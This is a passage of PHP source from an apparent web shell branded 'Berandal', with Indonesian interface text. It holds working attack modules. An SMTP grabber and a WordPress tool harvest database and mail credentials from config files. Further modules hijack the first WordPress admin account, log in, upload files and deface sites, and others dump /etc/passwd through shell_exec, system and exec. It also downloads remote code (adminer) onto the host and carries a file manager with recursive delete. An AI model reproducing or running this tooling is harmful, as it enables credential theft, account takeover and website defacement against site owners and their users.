elseif($_GET[\'666\'] == \'smtp\') {
echo "<center class=\'mybox\'><h1>SMTP Grabber</h1><hr color=\'white\'><br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/os_config )</span><br><br>";
function scj($dir) {
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = \'","\'");
$smtp_auth = ambilkata($ambil,"smtpauth = \'","\'");
$smtp_user = ambilkata($ambil,"smtpuser = \'","\'");
$smtp_pass = ambilkata($ambil,"smtppass = \'","\'");
$smtp_port = ambilkata($ambil,"smtpport = \'","\'");
$smtp_secure = ambilkata($ambil,"smtpsecure = \'","\'");
echo "SMTP Host: <font color=white>$smtp_host</font><br>";
echo "SMTP port: <font color=white>$smtp_port</font><br>";
echo "SMTP user: <font color=white>$smtp_user</font><br>";
echo "SMTP pass: <font color=white>$smtp_pass</font><br>";
echo "SMTP auth: <font color=white>$smtp_auth</font><br>";
echo "SMTP secure: <font color=white>$smtp_secure</font><br><br></center>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
} elseif($_GET[\'666\'] == \'auto_wp\') {
if($_POST[\'sikat\']) {
$title = htmlspecialchars($_POST[\'new_title\']);
$pn_title = str_replace(" ", "-", $title);
if($_POST[\'cek_edit\'] == "Y") {
$script = $_POST[\'edit_content\'];
} else {
$script = $title;
}
$conf = $_POST[\'config_dir\'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST\', \'","\'");
$dbuser = ambilkata($config,"DB_USER\', \'","\'");
$dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");
$dbname = ambilkata($config,"DB_NAME\', \'","\'");
$dbprefix = ambilkata($config,"table_prefix = \'","\'");
$prefix = $dbprefix."posts";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
$update = mysql_query("UPDATE $prefix SET post_title=\'$title\',post_content=\'$script\',post_name=\'$pn_title\',post_status=\'publish\',comment_status=\'open\',ping_status=\'open\',post_type=\'post\',comment_count=\'1\' WHERE id=\'$id\'");
$update .= mysql_query("UPDATE $option SET option_value=\'$title\' WHERE option_name=\'blogname\' OR option_name=\'blogdescription\'");
echo "<div style=\'margin: 5px auto;\'>";
if($target == \'\') {
echo "URL: <font color=red>error, gabisa ambil nama domain nya cok !!</font> -> ";
} else {
echo "URL: <a href=\'$target/?p=$id\' target=\'_blank\'>$target/?p=$id</a> -> ";
}
if(!$update OR !$conn OR !$db) {
echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
} else {
echo "<font color=lime>Sukses ganti, CoK!</font><br>";
}
echo "</div>";
mysql_close($conn);
}
}
} else {
echo "<div style=\'text-align:left\' class=\'mybox\'>
<h1>Auto Edit Title+Content WordPress</h1><hr color=\'white\'>
<form method=\'post\'>
DIR Config:
<input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' size=\'50\' name=\'config_dir\' value=\'$dir\'><br><br>
Set Title:
 <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'new_title\' value=\'Touched by Berandal\' size=\'40\' placeholder=\'New Title\'><br><br>
Edit Content?: <input type=\'radio\' style=\'border-color=white\'name=\'cek_edit\' value=\'Y\' checked>Y<input type=\'radio\' name=\'cek_edit\' value=\'N\'>N<br>
<span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
<textarea style=\'border-color:#292929\' name=\'edit_content\' class=\'mybox\' placeholder=\'contoh script: http://pastebin.com/u/Berandal666\' style=\'width: 450px; height: 150px;\'></textarea><br>
<input type=\'submit\' name=\'SIKAT!\' style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' class=\'kotak\' value=\'SIKAT!\' style=\'width: 450px;\'><br>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/os_config )</span></div><br>
";
}
}
elseif($_GET[\'666\'] == \'fake_root\') {
ob_start();
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("\'","", str_replace("\'","", str_replace(":",",", str_replace(\'"\',\'\', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."
";
ob_flush();
flush();
}
curl_close($ch);
}
function cek($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$resp = curl_exec($ch);
return $resp;
}
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST[\'reverse\']) {
$site = explode("
", $_POST[\'url\']);
$file = $_POST[\'file\'];
foreach($site as $url) {
$cek = cek("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href=\'$url/~$user/$file\' target=\'_blank\'>$url/~$user/$file</a> -> <font color=white>Fake Root!</font><br>";
}
}
} else {
echo "<div style=\'text-align:left\' class=\'mybox\'><form method=\'post\'>
<h1>Fake Root Scanner</h1><hr color=\'white\'>
Filename: <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' style=\'border-color=white\' name=\'file\' placeholder=\'os.html\' size=\'50\' height=\'10\'><br><br>
User:     <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' value=\'$user\' size=\'50\' style=\'border-color=white\' height=\'10\' readonly><br><br>
Domen:<br>          
<textarea style=\'border-color:#292929; class=\'mybox\' height: 250px;\' name=\'url\'>";
reverse($_SERVER[\'HTTP_HOST\']);
echo "</textarea><br>
           <input type=\'submit\' style=\'width: 130px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' name=\'reverse\' value=\'Scan Fake Root!\' class=\'kotak\' style=\'width: 450px; border-color=white;\'>
</form><br>
           NB: Sebelum pake Tools ini , upload dulu script depes di dir /home/user/ dan /home/user/public_html.</div>";
}
} elseif($_GET[\'666\'] == \'adminer\') {
$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists(\'adminer.php\')) {
echo "<center class=\'mybox\'><font color=white><a href=\'$full/adminer.php\' target=\'_blank\'>-=[ ADMINER LOGIN ]=-</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
echo "<center><font color=white><a href=\'$full/adminer.php\' target=\'_blank\'>-> ADMINER LOGIN <-</a></font></center>";
} else {
echo "<center><font color=red>Gagal buat file adminer, Jancok!</font></center>";
}
}
}elseif($_GET[\'666\'] == \'passwbypass\') {
echo \'<div class="mybox"><br><center>Bypass etc/passw With:<br>
<table style="width:50%">
<tr>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="System Function" name="syst"></form></td>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Passthru Function" name="passth"></form></td>
<td><form method="post"><input style="border-color=white;" type="submit" class="kotak" value="Exec Function" name="ex"></form></td>
<td><form method="post"><input style="border-color=white;" type="submit" class="kotak" value="Shell_exec Function" name="shex"></form></td>
<td><form method="post"><input style="border-color=white;" type="submit" class="kotak" value="Posix_getpwuid Function" name="berandal"></form></td>
</tr></table>Bypass User With : <table style="width:50%">
<tr>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Awk Program" name="awkuser"></form></td>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="System Function" name="systuser"></form></td>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Passthru Function" name="passthuser"></form></td>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Exec Function" name="exuser"></form></td>
<td><form method="post"><input style="border-color=white;" class="kotak" type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr>
</table><br></div>\';
if ($_POST[\'awkuser\']) {
echo"<textarea class=\'inputzbut\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo shell_exec("awk -F: \'{ print $1 }\' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST[\'systuser\']) {
echo"<textarea class=\'inputzbut\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST[\'passthuser\']) {
echo"<textarea class=\'inputzbut\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST[\'exuser\']) {
echo"<textarea class=\'inputzbut\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST[\'shexuser\']) {
echo"<textarea class=\'inputzbut\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST[\'syst\'])
{
echo"<textarea class=\'inputz\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST[\'passth\'])
{
echo"<textarea class=\'inputz\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST[\'ex\'])
{
echo"<textarea class=\'inputz\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST[\'shex\'])
{
echo"<textarea class=\'inputz\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo \'<center>\';
if($_POST[\'berandal\'])
{
echo"<textarea class=\'inputz\' style=\'border-color=white;\' cols=\'65\' rows=\'15\'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br><br>";
}
//
//
} elseif($_GET[\'666\'] == \'auto_dwp\') {
if($_POST[\'auto_deface_wp\']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$scan = $_POST[\'link_config\'];
$link_config = scandir($scan);
$script = htmlspecialchars($_POST[\'script\']);
$user = "Berandal";
$pass = "Berandal";
$passx = md5($pass);
foreach($link_config as $dir_config) {
if(!is_file("$scan/$dir_config")) continue;
$config = file_get_contents("$scan/$dir_config");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST\', \'","\'");
$dbuser = ambilkata($config,"DB_USER\', \'","\'");
$dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");
$dbname = ambilkata($config,"DB_NAME\', \'","\'");
$dbprefix = ambilkata($config,"table_prefix = \'","\'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == \'\') {
echo "[-] <font color=red>error, gabisa ambil nama domain nya cok !!</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login=\'$user\',user_pass=\'$passx\' WHERE ID=\'$id\'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("YmVyYW5kYWxfdGFtdmFuIDpQ");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array(\'file3\'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color=\'white\'>Sukse Mass, Jancok!</font><br>";
echo "[+] <a href=\'$as\' target=\'_blank\'>$as</a><br><br>";
} else {
echo "[-] <font color=\'red\'>Gagal Mass, Asu!</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href=\'$target/wp-login.php\' target=\'_blank\'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=white>$user</font><br>";
echo "[+] password: <font color=white>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center class=\'mybox\'><h1>WordPress Auto Deface</h1><hr color=\'white\'><br>
<form method=\'post\'>
<input type=\'text\' style=\'border-color=white;\' name=\'link_config\' size=\'50\' height=\'10\' value=\'$dir\'><br><br>
<input type=\'text\' style=\'border-color=white;\' name=\'script\' height=\'10\' size=\'50\' placeholder=\'Touched by Berandal\' required><br><br>
<input type=\'submit\' style=\'width: 60px; text-align:center; border-color=white\' name=\'auto_deface_wp\' class=\'kotak\' value=\'SIKAT!\'><br>
</form>
<br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/os_config )</span>
</center>";
}
} elseif($_GET[\'666\'] == \'auto_dwp2\') {
if($_POST[\'auto_deface_wp\']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST[\'link\']);
$script = htmlspecialchars($_POST[\'script\']);
$user = "berandal";
$pass = "berandal";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"DB_HOST\', \'","\'");
$dbuser = ambilkata($config,"DB_USER\', \'","\'");
$dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");
$dbname = ambilkata($config,"DB_NAME\', \'","\'");
$dbprefix = ambilkata($config,"table_prefix = \'","\'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == \'\') {
echo "[-] <font color=red>error, gabisa ambil nama domain nya cok !!</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login=\'$user\',user_pass=\'$passx\' WHERE ID=\'$id\'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("YmVyYW5kYWxfdGFtdmFuIDpQ");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "os.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array(\'file3\'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/as.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color=\'lime\'>Sukses mepes, COK!</font><br>";
echo "[+] <a href=\'$as\' target=\'_blank\'>$as</a><br><br>";
} else {
echo "[-] <font color=\'red\'>gagal mepes cok!!</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href=\'$target/wp-login.php\' target=\'_blank\'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=white>$user</font><br>";
echo "[+] password: <font color=white>$pass</font><br><br>";
}
mysql_close($conn);
}
}
} else {
echo "<center class=\'mybox\'><h1>WordPress Auto Deface V.2</h1><hr color=\'white\'><br>
<form method=\'post\'>
Link Config: <br>
<textarea name=\'link\' style=\'border-color=white;\' placeholder=\'http://target.com/os_config/user-config.txt\' style=\'width: 450px; height:250px;\'></textarea><br><br>
<input type=\'text\' style=\'border-color=white;\' name=\'script\' height=\'10\' size=\'60\' placeholder=\'Touched by Berandal\' required><br><br>
<input type=\'submit\' style=\'width: 450px; border-color=white\' name=\'auto_deface_wp\' class=\'kotak\' value=\'SIKAT!\'>
</form></center>";
}
}
elseif($_GET[\'act\'] == \'newfile\') {
if($_POST[\'new_save_file\']) {
$newfile = htmlspecialchars($_POST[\'newfile\']);
$fopen = fopen($newfile, "a+");
if($fopen) {
$act = "<script>window.location=\'?act=edit&dir=".$dir."&file=".$_POST[\'newfile\']."\';</script>";
} else {
$act = "<font color=red>Gak dibolehin, Jancok!</font>";
}
}
echo $act;
echo "<form method=\'post\'><h1>New File</h1>
Filename: <input type=\'text\' name=\'newfile\' value=\'$dir/asu.php\' style=\'width: 450px; border-color=white\' height=\'10\'>
<input type=\'submit\' name=\'new_save_file\' style=\'border-color=white\' class=\'kotak\' value=\'SIKAT!\'>
</form>";
} elseif($_GET[\'act\'] == \'newfolder\') {
if($_POST[\'new_save_folder\']) {
$new_folder = $dir.\'/\'.htmlspecialchars($_POST[\'newfolder\']);
if(!mkdir($new_folder)) {
$act = "<font color=red>Gak dibolehin, Jancok!</font>";
} else {
$act = "<script>window.location=\'?dir=".$dir."\';</script>";
}
}
echo $act;
echo "<form method=\'post\'><h1>New Dir</h1>
Folder Name: <input type=\'text\' name=\'newfolder\' style=\'width: 450px; border-color=white\' height=\'10\'>
<input type=\'submit\' name=\'new_save_folder\' style=\'border-color=white\' class=\'kotak\' value=\'SIKAT!\'>
</form>";
} elseif($_GET[\'act\'] == \'rename_dir\') {
if($_POST[\'dir_rename\']) {
$dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST[\'fol_rename\'])."");
if($dir_rename) {
$act = "<script>window.location=\'?dir=".dirname($dir)."\';</script>";
} else {
$act = "<font color=red>Gak dibolehin, Jancok!</font>";
}
echo "".$act."<br>";
}
echo "<form method=\'post\'><h1>Rename Dir</h1>
<input type=\'text\' value=\'".basename($dir)."\' name=\'fol_rename\' style=\'width: 450px; border-color=white\' height=\'10\'>
<input type=\'submit\' class=\'kotak\' style=\'border-color=white\' name=\'dir_rename\' value=\'rename\'>
</form>";
} elseif($_GET[\'act\'] == \'delete_dir\') {
function Delete($path)
{
if (is_dir($path) === true)
{
$files = array_diff(scandir($path), array(\'.\', \'..\'));
foreach ($files as $file)
{
Delete(realpath($path) . \'/\' . $file);
}
return rmdir($path);
}
else if (is_file($path) === true)
{
return unlink($path);
}
return false;
}
$delete_dir = Delete($dir);
if($delete_dir) {
$act = "<script>window.location=\'?dir=".dirname($dir)."\';</script>";
} else {
$act = "<font color=red>Gabisa dihapus nih :( ".basename($dir)."</font>";
}
echo $act;
} elseif($_GET[\'act\'] == \'view\') {
echo "<br>Filename: <font color=white>".basename($_GET[\'file\'])."</font> [ <a href=\'?act=view&dir=$dir&file=".$_GET[\'file\']."\'><b>View</b></a> ] [ <a href=\'?act=edit&dir=$dir&file=".$_GET[\'file\']."\'>Edit</a> ] [ <a href=\'?act=rename&dir=$dir&file=".$_GET[\'file\']."\'>Rename</a> ] [ <a href=\'?act=download&dir=$dir&file=".$_GET[\'file\']."\'>Download</a> ] [ <a href=\'?act=delete&dir=$dir&file=".$_GET[\'file\']."\'>Hapus</a> ]<br><br>";
echo "<textarea style=\'border-color=white\' readonly>".htmlspecialchars(@file_get_contents($_GET[\'file\']))."</textarea><br><br>";
} elseif($_GET[\'act\'] == \'edit\') {
if($_POST[\'save\']) {
$save = file_put_contents($_GET[\'file\'], $_POST[\'src\']);
if($save) {
$act = "<font color=white>Saved!</font>";
} else {
$act = "<font color=red>Gak dibolehin :\'(</font>";
}
echo "".$act."<br>";
}
echo "<br>Filename: <font color=white>".basename($_GET[\'file\'])."</font> [ <a href=\'?act=view&dir=$dir&file=".$_GET[\'file\']."\'>View</a> ] [ <a href=\'?act=edit&dir=$dir&file=".$_GET[\'file\']."\'><b>Edit</b></a> ] [ <a href=\'?act=rename&dir=$dir&file=".$_GET[\'file\']."\'>Rename</a> ] [ <a href=\'?act=download&dir=$dir&file=".$_GET[\'file\']."\'>Download</a> ] [ <a href=\'?act=delete&dir=$dir&file=".$_GET[\'file\']."\'>Hapus</a> ]<br><br>";
echo "<form method=\'post\'>
<textarea style=\'border-color=white\' name=\'src\'>".htmlspecialchars(@file_get_contents($_GET[\'file\']))."</textarea><br><br>
<input type=\'submit\' class=\'kotak\' value=\'Simpan\' name=\'save\' style=\'border-color=white\'>
</form>";
} elseif($_GET[\'act\'] == \'rename\') {
if($_POST[\'do_rename\']) {
$rename = rename($_GET[\'file\'], "$dir/".htmlspecialchars($_POST[\'rename\'])."");
if($rename) {
$act = "<script>window.location=\'?dir=".$dir."\';</script>";
} else {
$act = "<font color=red>Gak dibolehin, Jancok!</font>";
}
echo "".$act."<br>";
}
echo "<h1>Rename</h1>";
echo "<br>Filename: <font color=white>".basename($_GET[\'file\'])."</font> [ <a href=\'?act=view&dir=$dir&file=".$_GET[\'file\']."\'>View</a> ] [ <a href=\'?act=edit&dir=$dir&file=".$_GET[\'file\']."\'>Edit</a> ] [ <a href=\'?act=rename&dir=$dir&file=".$_GET[\'file\']."\'><b>rename</b></a> ] [ <a href=\'?act=download&dir=$dir&file=".$_GET[\'file\']."\'>Download</a> ] [ <a href=\'?act=delete&dir=$dir&file=".$_GET[\'file\']."\'>Hapus</a> ]<br><br><br>";
echo "<form method=\'post\'>
<input type=\'text\' value=\'".basename($_GET[\'file\'])."\' name=\'rename\' style=\'width: 450px; border-color=white\' height=\'10\'>
